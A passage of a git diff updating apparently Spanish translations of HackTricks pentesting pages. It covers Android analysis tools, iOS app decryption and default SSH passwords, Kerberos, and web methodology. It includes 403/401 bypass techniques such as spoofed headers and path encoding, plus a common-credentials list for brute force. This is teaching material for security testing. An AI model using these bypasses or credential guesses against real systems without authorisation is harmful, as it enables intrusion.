@@ -532,13 +532,13 @@ El **analizador dinámico de MobSF** puede: - **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla hechas por ti, capturas de pantalla hechas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesitas presionar cuando quieras una captura de pantalla o necesitas presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas. - Capturar **tráfico HTTPS** -- Usar **Frida** para obtener **información** **en tiempo de ejecución** +- Usar **Frida** para obtener **información en tiempo de ejecución** -Desde las versiones de Android **> 5**, comenzará **automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. +Desde las versiones de Android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. **Frida** -Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depuradores** y para **monitorear APIs interesantes**.\ +Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depurador** y para **monitorear APIs interesantes**.\ MobSF también puede **invocar actividades exportadas**, tomar **capturas de pantalla** de ellas y **guardarlas** para el informe. Para **iniciar** la prueba dinámica presiona el botón verde: "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a métodos enganchados, argumentos pasados y valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\ @@ -595,7 +595,7 @@ Esta es una **gran herramienta para realizar análisis estático con una GUI** ### [Qark](https://github.com/linkedin/qark) -Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un APK "Proof-of-Concept" desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba. +Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un "Proof-of-Concept" APK desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -606,8 +606,8 @@ qark --java path/to/specific/java/file.java - Muestra todos los archivos extraídos para una fácil referencia - Descompone automáticamente archivos APK a formato Java y Smali -- Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamientos -- Análisis estático del código fuente para vulnerabilidades y comportamientos comunes +- Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamiento +- Análisis estático del código fuente para vulnerabilidades comunes y comportamiento - Información del dispositivo - y más ```bash @@ -617,9 +617,9 @@ reverse-apk relative/path/to/APP.apk SUPER es una aplicación de línea de comandos que se puede utilizar en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Lo hace descomprimiendo APKs y aplicando una serie de reglas para detectar esas vulnerabilidades. -Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o probador podría crear sus propias reglas para analizar lo que necesiten. +Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o tester podría crear sus propias reglas para analizar lo que necesiten. -Descargue los últimos binarios en la [download page](https://superanalyzer.rocks/download.html) +Descargue los últimos binarios en la [página de descarga](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -700,7 +700,7 @@ Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/ Puedes subir un APK ofuscado a su plataforma. -### [Deofuscar android App](https://github.com/In3tinct/deobfuscate-android-app) +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y deofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google. @@ -722,7 +722,7 @@ APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **com AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes expertos en seguridad e investigadores para ingeniería inversa y análisis de malware. -## Referencias +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos @@ -731,7 +731,7 @@ AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate q - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -## Aún por probar +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index f49301984..341321c3f 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -1,8 +1,8 @@ -# Operaciones Básicas de Pruebas en iOS +# iOS Basic Testing Operations {{#include ../../banners/hacktricks-training.md}} -## **Resumen de Identificación y Acceso a Dispositivos iOS** +## **Resumen de la Identificación y Acceso de Dispositivos iOS** ### **Identificación del UDID de un Dispositivo iOS** @@ -29,7 +29,7 @@ $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p ```bash $ instruments -s devices ``` -### **Accediendo a la Shell del Dispositivo** +### **Accediendo al Shell del Dispositivo** El **acceso SSH** se habilita al instalar el **paquete OpenSSH** después del jailbreak, permitiendo conexiones a través de `ssh root@`. Es crucial cambiar las contraseñas predeterminadas (`alpine`) para los usuarios `root` y `mobile` para asegurar el dispositivo. @@ -48,7 +48,7 @@ Para restablecer una contraseña olvidada a la predeterminada (`alpine`), es nec ### **Transferencia de Archivos de Datos de la Aplicación** -**Archivado y Recuperación a través de SSH y SCP:** Es sencillo archivar el directorio Data de la aplicación usando `tar` y luego transferirlo usando `scp`. El comando a continuación archiva el directorio Data en un archivo .tgz, que luego se extrae del dispositivo: +**Archivado y Recuperación a través de SSH y SCP:** Es sencillo archivar el directorio de Datos de la aplicación usando `tar` y luego transferirlo usando `scp`. El comando a continuación archiva el directorio de Datos en un archivo .tgz, que luego se extrae del dispositivo: ```bash tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 exit @@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz . ### **Usando Objection para la Gestión de Archivos** -**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo la descarga y carga de los mismos hacia y desde el dispositivo iOS. +**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo descargarlos y subirlos hacia y desde el dispositivo iOS. ```bash objection --gadget com.apple.mobilesafari explorer cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents @@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so ### **Proceso de Descifrado** -**Descripción General del Descifrado Manual:** Los binarios de aplicaciones iOS están cifrados por Apple utilizando FairPlay. Para realizar ingeniería inversa, se debe volcar el binario descifrado de la memoria. El proceso de descifrado implica verificar la bandera PIE, ajustar las banderas de memoria, identificar la sección cifrada y luego volcar y reemplazar esta sección con su forma descifrada. +**Descripción General del Descifrado Manual:** Los binarios de aplicaciones de iOS están cifrados por Apple utilizando FairPlay. Para realizar ingeniería inversa, se debe volcar el binario descifrado de la memoria. El proceso de descifrado implica verificar la bandera PIE, ajustar las banderas de memoria, identificar la sección cifrada y luego volcar y reemplazar esta sección con su forma descifrada. **Verificación y Modificación de la Bandera PIE:** ```bash @@ -90,9 +90,9 @@ otool -Vh Original_App python change_macho_flags.py --no-pie Original_App otool -Vh Hello_World ``` -**Identificación de la sección encriptada y volcado de memoria:** +**Identificación de la Sección Encriptada y Volcado de Memoria:** -Determina las direcciones de inicio y fin de la sección encriptada usando `otool` y volca la memoria desde el dispositivo con jailbreak usando gdb. +Determina las direcciones de inicio y fin de la sección encriptada usando `otool` y volcar la memoria desde el dispositivo con jailbreak usando gdb. ```bash otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO dump memory dump.bin 0x8000 0x10a4000 @@ -109,7 +109,7 @@ dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App #### **frida-ios-dump** -La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se utiliza para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo que se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto. +La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se emplea para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo cual se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto. Las aplicaciones instaladas en el dispositivo se pueden listar con el comando: ```bash @@ -123,7 +123,7 @@ Este comando inicia el volcado de la aplicación, lo que resulta en la creación #### **flexdecrypt** -La herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto con su envoltura [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite la extracción de archivos IPA de aplicaciones instaladas. Los comandos de instalación para **flexdecrypt** en el dispositivo incluyen la descarga e instalación del paquete `.deb`. **flexdump** se puede usar para listar y volcar aplicaciones, como se muestra en los comandos a continuación: +La herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto con su envoltura [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite la extracción de archivos IPA de aplicaciones instaladas. Los comandos de instalación para **flexdecrypt** en el dispositivo incluyen descargar e instalar el paquete `.deb`. **flexdump** se puede usar para listar y volcar aplicaciones, como se muestra en los comandos a continuación: ```bash apt install zip unzip wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump @@ -164,7 +164,7 @@ Para instalar aplicaciones específicas de iPad en dispositivos iPhone o iPod to ## Referencias -- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/) +- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/) diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 86a5b465c..ecf137812 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,16 +6,16 @@ **Kerberos** opera bajo un principio donde autentica a los usuarios sin gestionar directamente su acceso a los recursos. Esta es una distinción importante porque subraya el papel del protocolo en los marcos de seguridad. -En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad. +En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario sea confirmada antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad. -Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones sobre el acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas. +Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones respecto al acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas. **Puerto por Defecto:** 88/tcp/udp ``` PORT STATE SERVICE 88/tcp open kerberos-sec ``` -### **Para aprender a abusar de Kerberos, deberías leer la publicación sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.** +### **Para aprender a abusar de Kerberos, deberías leer la publicación sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.** ## Más diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index a040a6305..ee3506cb3 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -6,7 +6,7 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- Verifica los encabezados de respuesta, tal vez se pueda proporcionar alguna información. Por ejemplo, una **respuesta 200** a **HEAD** con `Content-Length: 55` significa que el **verbo HEAD puede acceder a la info**. Pero aún necesitas encontrar una manera de exfiltrar esa info. +- Verifica los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una **respuesta 200** a **HEAD** con `Content-Length: 55` significa que el **verbo HEAD puede acceder a la info**. Pero aún necesitas encontrar una manera de exfiltrar esa info. - Usar un encabezado HTTP como `X-HTTP-Method-Override: PUT` puede sobrescribir el verbo utilizado. - Usa el verbo **`TRACE`** y si tienes mucha suerte, tal vez en la respuesta también puedas ver los **encabezados añadidos por proxies intermedios** que podrían ser útiles. @@ -14,7 +14,7 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PU - **Cambia el encabezado Host** a algún valor arbitrario ([que funcionó aquí](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - Intenta [**usar otros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acceder al recurso. -- **Fuzz HTTP Headers**: Intenta usar **Encabezados** de Proxy HTTP, autenticación HTTP básica y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +- **Fuzz HTTP Headers**: Intenta usar encabezados de proxy HTTP, autenticación básica HTTP y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto, he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -35,9 +35,9 @@ Si el **ruta está protegida**, puedes intentar eludir la protección de la ruta - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- Si la página está **detrás de un proxy**, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** +- Si la página está **detrás de un proxy**, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** - Fuzz [**encabezados HTTP especiales**](special-http-headers.md) buscando diferentes respuestas. -- **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **HTTP Methods**. +- **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **métodos HTTP**. - **Elimina el encabezado Host** y tal vez podrás eludir la protección. ## Path **Fuzzing** @@ -45,7 +45,7 @@ Si el **ruta está protegida**, puedes intentar eludir la protección de la ruta Si _/path_ está bloqueado: - Intenta usar _**/**_**%2e/path \_(si el acceso está bloqueado por un proxy, esto podría eludir la protección). Intenta también**\_\*\* /%252e\*\*/path (doble codificación de URL) -- Intenta **Unicode bypass**: _/**%ef%bc%8f**path_ (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será _//path_ y tal vez ya habrás eludido la verificación del nombre _/path_ +- Intenta **eludir Unicode**: _/**%ef%bc%8f**path_ (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será _//path_ y tal vez ya habrás eludido la verificación del nombre _/path_ - **Otras elusiones de ruta**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -94,7 +94,7 @@ Si usas HTTP/1.1 **intenta usar 1.0** o incluso prueba si **soporta 2.0**. ## **Brute Force** - **Adivina la contraseña**: Prueba las siguientes credenciales comunes. ¿Sabes algo sobre la víctima? ¿O el nombre del desafío CTF? -- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prueba autenticación básica, digest y NTLM. +- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Intenta autenticación básica, digest y NTLM. ```:Common creds admin admin admin password diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index fd1c4e105..dc80eaa9d 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Guía de API Web +### Web API Guidance {{#ref}} web-api-pentesting.md @@ -54,7 +54,7 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Buscar **vulnerabilidades de la aplicación web** **versión**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Verificar si hay algún WAF** @@ -69,15 +69,15 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) - [**Artifactory**](artifactory-hacking-guide.md) -- [**Buckets**](buckets/) +- [**Buckets**](buckets/index.html) - [**CGI**](cgi.md) -- [**Drupal**](drupal/) +- [**Drupal**](drupal/index.html) - [**Flask**](flask.md) - [**Git**](git.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) -- [**H2 - Base de datos SQL de Java**](h2-java-sql-database.md) -- [**Trucos de IIS**](iis-internet-information-services.md) +- [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**IIS tricks**](iis-internet-information-services.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -86,31 +86,31 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php tiene muchos trucos interesantes que podrían ser explotados)**](php-tricks-esp/) +- [**PHP (php tiene muchos trucos interesantes que podrían ser explotados)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) -- [**Tomcat**](tomcat/) +- [**Tomcat**](tomcat/index.html) - [**VMWare**](vmware-esx-vcenter....md) - [**Web API Pentesting**](web-api-pentesting.md) - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/) +- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/index.html) -_Tenga en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\ -Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvide **buscar en Internet** nuevos trucos (¡y hágamelo saber!). +_Toma en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\ +Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!). ### Revisión de código fuente -Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **su cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**: +Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **tu cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**: - ¿Hay un **Change-log o Readme o archivo de versión** o algo con **información de versión accesible** a través de la web? - ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún **archivo** (¿accesible?) con credenciales (nombres de usuario o contraseñas)? - ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza? - ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza? - ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad? -- ¿Hay alguna **información interesante en github** (problemas resueltos y no resueltos)? ¿O en **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)? +- ¿Hay alguna **información interesante en github** (resueltas y no resueltas) **issues**? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un viejo commit**)? {{#ref}} code-review-tools.md @@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi Si se utiliza un CMS, no olvides **ejecutar un escáner**, tal vez se encuentre algo jugoso: -[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** sitios web para problemas de seguridad. (GUI)\ -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **o** [**(M)oodle**](moodle.md)\ -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) +[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web para problemas de seguridad. (GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d wpscan --force update -e --url @@ -166,8 +166,8 @@ joomlavs.rb #https://github.com/rastating/joomlavs Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**. -- Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc) -- **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y los **valores de parámetros** para crear errores +- Accede a **páginas falsas** como /whatever_fake.php (.aspx, .html, etc.) +- **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y **valores de parámetros** para crear errores - Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL** - Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE @@ -176,7 +176,7 @@ Los servidores web pueden **comportarse de manera inesperada** cuando se les env Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta: - **Fuerza Bruta** de credenciales -- **Sube archivos** a través de WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas. +- **Sube archivos** a través de WebDav a las **demás** **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas. ### **Vulnerabilidades SSL/TLS** @@ -206,24 +206,24 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, también indica "archivos jugosos". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interactivo CLI. También busca en Archive.org. - [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con rutas y meg obtendrá cada ruta en cada host y guardará la respuesta. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no se mantiene, la versión precompilada es antigua y el código actual no compila. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no está mantenido, la versión precompilada es antigua y el código actual no compila. - [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará. - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no se mantiene. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Reúne información interesante de archivos JS utilizando varias herramientas. - [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador sin cabeza e imprime todas las URLs cargadas para cargar la página. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de 